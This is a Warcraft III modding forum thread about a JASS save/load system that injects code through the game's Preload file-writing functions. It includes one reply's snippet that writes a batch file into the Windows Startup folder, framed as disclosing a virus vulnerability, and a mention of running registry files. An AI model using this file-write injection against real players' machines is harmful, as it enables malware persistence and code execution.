Demo Map Preloader based save-load system + sync local data system

DioD

New Member
Preloader based save-load system + sync local data system.

This system is hardcoded (there is no explanation about how it works).
This system works on any version of warcraft including ROC.
This system can be used only if local files is allowed.
This system wont work if you are using TriggerSleepAction anywhere (including BJ functions with waits)

Before blizzard fixed code execution this system was viable, now this is just sample.

JASS:
// AUTHOR: narayan & diod
library DATA

  // SETUP'S DATA MANAGER
  globals
    string  SAVE_PATH      = "DataManager\\" // FILE PATH (Can be [C:\\TEMP\\EWIX])
    string  SAVE_TYPE      = ".txt"          // FILE TYPE (Can be [all posible types])
  endglobals

  // CODE PART

  globals
    private integer SyncInt   = 0
    private real    SyncFlt   = 0
    private player  SyncPlr   = null
    private string  SyncStr   = null
    private boolean SyncBool  = false

    private gamecache SyncCache = InitGameCache("SyncCache")
    private string array STR
    private string       PID    = null // for optimization
  endglobals

  function Execute_STRING_DATA takes nothing returns nothing
    set STR[GetPlayerTechMaxAllowed(Player(13),1)]=GetPlayerName(Player(15))
  endfunction

  function CreateData takes player P returns nothing
    set SyncPlr  = P
    call ExecuteFunc("ExecCreateData")
  endfunction

  function ExecCreateData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"THIS |cffff0000DATA|r ALREADY USED!")
        return
      endif
      call PreloadGenClear()
      call PreloadGenStart()
      set SyncBool=true
    endif
  endfunction

  function AddInteger takes integer Offset,integer Value,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Integer function")
        return
      endif
      if Value>0 then
        call Preload("\")\ncall SetPlayerTechMaxAllowed(Player(15),"+I2S(Offset)+","+I2S(Value)+")\ncall SetPlayerTechMaxAllowed(Player(14),"+I2S(Offset)+",3)//")
      elseif Value<0 then
        call Preload("\")\ncall SetPlayerTechMaxAllowed(Player(15),"+I2S(Offset)+","+I2S(-Value)+")\ncall SetPlayerTechMaxAllowed(Player(14),"+I2S(Offset)+",2)//")
      endif
    endif
  endfunction

  function AddReal takes integer Offset,real Value,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Real function")
        return
      endif
      if Value>0 then
        call Preload("\")\ncall DefineStartLocation(11,"+R2SW(Value,2,2)+","+R2S(Offset)+")//")
      else
        call Preload("\")\ncall DefineStartLocation(11,"+R2SW(Value,2,2)+","+R2S(-Offset)+")//")
      endif
    endif
  endfunction

  function AddString takes integer Offset,string S,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 or Offset>8190 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add String function")
        return
      endif
      call Preload("\")\ncall SetPlayerName(Player(15),\""+S+"\")\ncall SetPlayerTechMaxAllowed(Player(13),1,"+I2S(Offset)+")\ncall ExecuteFunc(\"Execute_STRING_DATA\")\n//")
    endif
  endfunction

  function AddBoolean takes integer Offset,boolean B,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Boolean function")
        return
      endif
      if B then
        call Preload("\")\ncall SetGameTypeSupported(ConvertGameType("+I2S(Offset)+"),true)//")
      else
        call Preload("\")\ncall SetGameTypeSupported(ConvertGameType("+I2S(Offset)+"),false)//")
      endif
    endif
  endfunction

  function SaveData takes string Name,player P returns nothing
    set SyncPlr=P
    set SyncStr=Name
    call ExecuteFunc("Execute_SaveData")
  endfunction

  function Execute_SaveData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      endif
      set SyncBool=false
      call Preload("\")\nendfunction\nfunction recyclebin takes nothing returns nothing//")
      call PreloadGenEnd(SAVE_PATH+SyncStr+SAVE_TYPE)
    endif
  endfunction

  function LoadData takes string Name,player P returns nothing
    set SyncPlr = P
    set SyncStr = Name
    call ExecuteFunc("Execute_LoadData")
  endfunction

  function Execute_LoadData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      call Preloader(SAVE_PATH+SyncStr+SAVE_TYPE)
    endif
  endfunction

  function ReadInteger takes integer Offset,player P returns integer
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadInteger")
    return GetStoredInteger(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadInteger takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if GetPlayerTechMaxAllowed(Player(14),SyncInt)==2 then
        set SyncInt = -GetPlayerTechMaxAllowed(Player(15),SyncInt)
      elseif GetPlayerTechMaxAllowed(Player(14),SyncInt)==3 then
        set SyncInt = GetPlayerTechMaxAllowed(Player(15),SyncInt)
      else
        set SyncInt = 0
      endif
      call StoreInteger(SyncCache,I2S(SyncInt),PID,SyncInt)
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredInteger(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncInt = GetStoredInteger(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadReal takes integer Offset,player P returns real
    set SyncInt = Offset
    set SyncFlt = R2I(Offset)
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadReal")
    return GetStoredReal(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadReal takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if RAbsBJ(GetStartLocationY(GetPlayerStartLocation(Player(11))))!=SyncFlt then
        return
      endif
      if GetStartLocationY(GetPlayerStartLocation(Player(11)))<0 then
        set SyncFlt = -GetStartLocationX(GetPlayerStartLocation(Player(11)))
      else
        set SyncFlt = GetStartLocationX(GetPlayerStartLocation(Player(11)))
      endif
      call StoreReal(SyncCache,I2S(SyncInt),PID,SyncFlt)
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredReal(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncFlt = GetStoredReal(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadString takes integer Offset,player P returns string
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadString")
    return GetStoredString(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadString takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      call StoreString(SyncCache,I2S(SyncInt),PID,STR[SyncInt])
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredString(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncStr = GetStoredString(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadBoolean takes integer Offset,player P returns boolean
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadBoolean")
    return GetStoredBoolean(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadBoolean takes nothing returns nothing
    local boolean b=false
    if GetLocalPlayer()==SyncPlr then
      call StoreBoolean(SyncCache,I2S(SyncInt),PID,IsGameTypeSupported(ConvertGameType(SyncInt)))
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredBoolean(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set b=GetStoredBoolean(SyncCache,I2S(SyncInt),PID)
  endfunction

endlibrary


JASS:
// ?????? ?? Diod
scope template initializer init

 globals
   boolean load_stat = false
 endglobals

 private function Do_Load takes nothing returns nothing
   if load_stat then
     call DisplayTimedTextToForce( GetPlayersAll(),999999, "Stat's load on current moment.")
     return
   endif
   set load_stat = true
   call LoadData("test",GetTriggerPlayer())
   call BJDebugMsg("VALUE = " + I2S(ReadInteger(0x0F,GetTriggerPlayer())))
   call BJDebugMsg("BRUTE = " + I2S(ReadInteger(0x0E,GetTriggerPlayer())))
   call BJDebugMsg("Real Value = " + R2S(ReadReal(0x005,GetTriggerPlayer())))
   call BJDebugMsg("Str Value = " + ReadString(0x0,GetTriggerPlayer()))
   set load_stat = false
 endfunction

 private function Do_Save takes nothing returns nothing
   local string DATA = GetEventPlayerChatString()
   if I2S(S2I(DATA)) != DATA then
     return //invalid input
   endif
   call CreateData(GetTriggerPlayer())
   call AddInteger(0x0F,S2I(DATA),GetTriggerPlayer())
   call AddInteger(0x0E,0x00FF,GetTriggerPlayer())
   call AddReal(0x005,1200,GetTriggerPlayer())
   call AddString(0x00,"template string",GetTriggerPlayer())
   call SaveData("test",GetTriggerPlayer())
   if GetLocalPlayer()==GetTriggerPlayer() then
     call BJDebugMsg(DATA + " stored as local data, check it at warcraft dir")
   endif
 endfunction

 private function init takes nothing returns nothing
    local trigger Save = CreateTrigger()
    local trigger Load = CreateTrigger()
    local integer I = 0
// not need part
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Type integer to save it locally")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Press ESC to load and sync saved data")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "You can enter negative value")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Enter '-save' for save hero")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Enter '-load' for load hero")
// end part
    loop
        call TriggerRegisterPlayerChatEvent(Save, Player(I),  "", false )
        call TriggerRegisterPlayerEvent    (Load, Player(I), EVENT_PLAYER_END_CINEMATIC)
        set I = I + 1
        exitwhen I == 12
    
    endloop
    call TriggerAddAction( Save, function Do_Save )
    call TriggerAddAction( Load, function Do_Load )
  endfunction

endscope
 

Attachments

saw792

Is known to say things. That is all.
Wait I'm confused, does this work with the latest version of WC3 or not? You said it should work with every version including ROC, but then say it isn't practical since Blizzard fixed code execution. Why is that the case?

Cool idea, I didn't know the Preload functions could actually be used to write to files.
 

Azlier

Old World Ghost
I don't get it. It works and data is retrievable, or?

If data's retrievable, then it should work on multiplayer if you manage to get players to enable local files, right?
 

DioD

New Member
if works for players who enabled local files.

if some one not enabled local files, he wont be able to LOAD data, but saving and sync still possible.
Players who have local files enabled and do not have can play same game without conflicts.

if you have no way to enable loading for other players, you may use this as saveload system for yourself (you can store loadcode or direct info on HDD load and sync it)

It will accept and load to other players ANY data stored on your disk (you able to write any data into batch file, as long as you follow syntax this data will work)

After you sync data, every player have access to it, soo its 100% desync safe.

Before blizzard fixed code exec, it was possible to run regfile from map's code. (actually with codeexec you may do whatever you like, but only running files was tested)
 

Azlier

Old World Ghost
Ah, just as I had hoped. If you leave instructions on how to get WC3 to allow local files in your map this could potentially be the end of save/load codes as we know them, yes?

That is, if someone somehow devises a way to save a specific hero's data to one person's local file and no one else's. Or index it by player name or something. I don't know how to do this stuff.
 

Sevion

The DIY Ninja
You could just encode the player's name to the cache and on load, check it against the current user's name.
 

Azlier

Old World Ghost
Yes, I thought of that. But what if another player decides to play the same map on their computer using their own account? Will the old data be overwritten? That kind of thing needs to be planned for.
 

Jesus4Lyf

Good Idea™
JASS:
function Trig_Melee_Initialization_Actions takes nothing returns nothing
    call PreloadGenClear()
    call PreloadGenStart()
    call Preload("\")\r\nPAUSE\r\n//")
    call PreloadGenEnd("C:\\Users\\USERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat")
endfunction

Another virus vulnerability. WC3 isn't safe until next patch. This allows us to run batch script on a computer on startup... Just write out to a batch file located in Start > Programs > Startup, and you're done. :)
 

DioD

New Member
you cant load data for individual player only, if you use this data, game will desync, since other players will have other results on code execution.

and there is no way to protect code from other players, sunc data write to replay files.
 

tooltiperror

Super Moderator
If it doesn't work without local files being enabled, it's rather useless right now.
 
General chit-chat
Help Users
  • No one is chatting at the moment.
  • tom_mai78101 tom_mai78101:
    I have a GIF though
  • tom_mai78101 tom_mai78101:
    In the GIF, I've configured it so the lower the "Main Value" is, the better. I had to compress it pretty far down though.
  • tom_mai78101 tom_mai78101:
    And this is the thread with the video that shows the wall clip. https://tasvideos.org/Forum/Topics/23453
    +2
  • tom_mai78101 tom_mai78101:
    Hmm, about the Headline News, I noticed threads are being moved into the subforum (Health News, Environmental News, etc.). When that happens, the TH Forum Home page loses the articles, and instead would show old articles posted 1 or 2 weeks ago.
  • tom_mai78101 tom_mai78101:
    What do we do with the Home page?
  • Ghan Ghan:
    I added those forums to the filter for that widget.
  • tom_mai78101 tom_mai78101:
    Oh nice. They're back. Thanks.
  • tom_mai78101 tom_mai78101:
    Now I think it makes more sense for me to put news in their own subforums, without worry.
  • The Helper The Helper:
    Awesome Ghan thanks! I was purposely not moving the first 15 news articles in Headline news to the different subforums but I guess I don't have to do that now?
  • tom_mai78101 tom_mai78101:
    Question: Is there a way to remove thread redirects? It creates a copy of the moved thread and takes up space, and I am leaning towards wanting to remove them in the Headline News. But if they have an expiration date, I guess I'm fine with it.
  • The Helper The Helper:
    If you move a thread please leave a permanent redirect. You can delete any redirects after 6 months. The redirects are left to help Search Engines find the moved content.
  • tom_mai78101 tom_mai78101:
    What if you move the permanent redirect, not the thread?
  • The Helper The Helper:
    I think that works but I have not messed with it. You can delete redirects though if you have to that will not delete the original thread
  • The Helper The Helper:
    if a redirect ends up in the same forum as the post it goes to though I think the redirect drops or fails or something but they are not bugged out and when you are working on an indirect the original post is safe.
  • The Helper The Helper:
    Happy Early Friday :)
    +1
  • V-SNES V-SNES:
    Happy Friday :)
  • tom_mai78101 tom_mai78101:
    Fun Friday for me
  • tom_mai78101 tom_mai78101:
    Happy Fun Friday to all.
    +2
  • The Helper The Helper:
    Happy Sunday everyone!!!
  • V-SNES V-SNES:
    Happy Sunday!!!
    +1
  • jonas jonas:
    Happy monday :p
  • jonas jonas:
    Everyone hates mondays?
    +1
  • The Helper The Helper:
    Happy Tuesday!
  • jonas jonas:
    Happy belated tuesday

    Staff online

    • Ghan
      Administrator - Servers are fun

    Members online

    Affiliates

    Hive Workshop NUON Dome World Editor Tutorials

    Network Sponsors

    Apex Steel Pipe - Buys and sells Steel Pipe.
    Top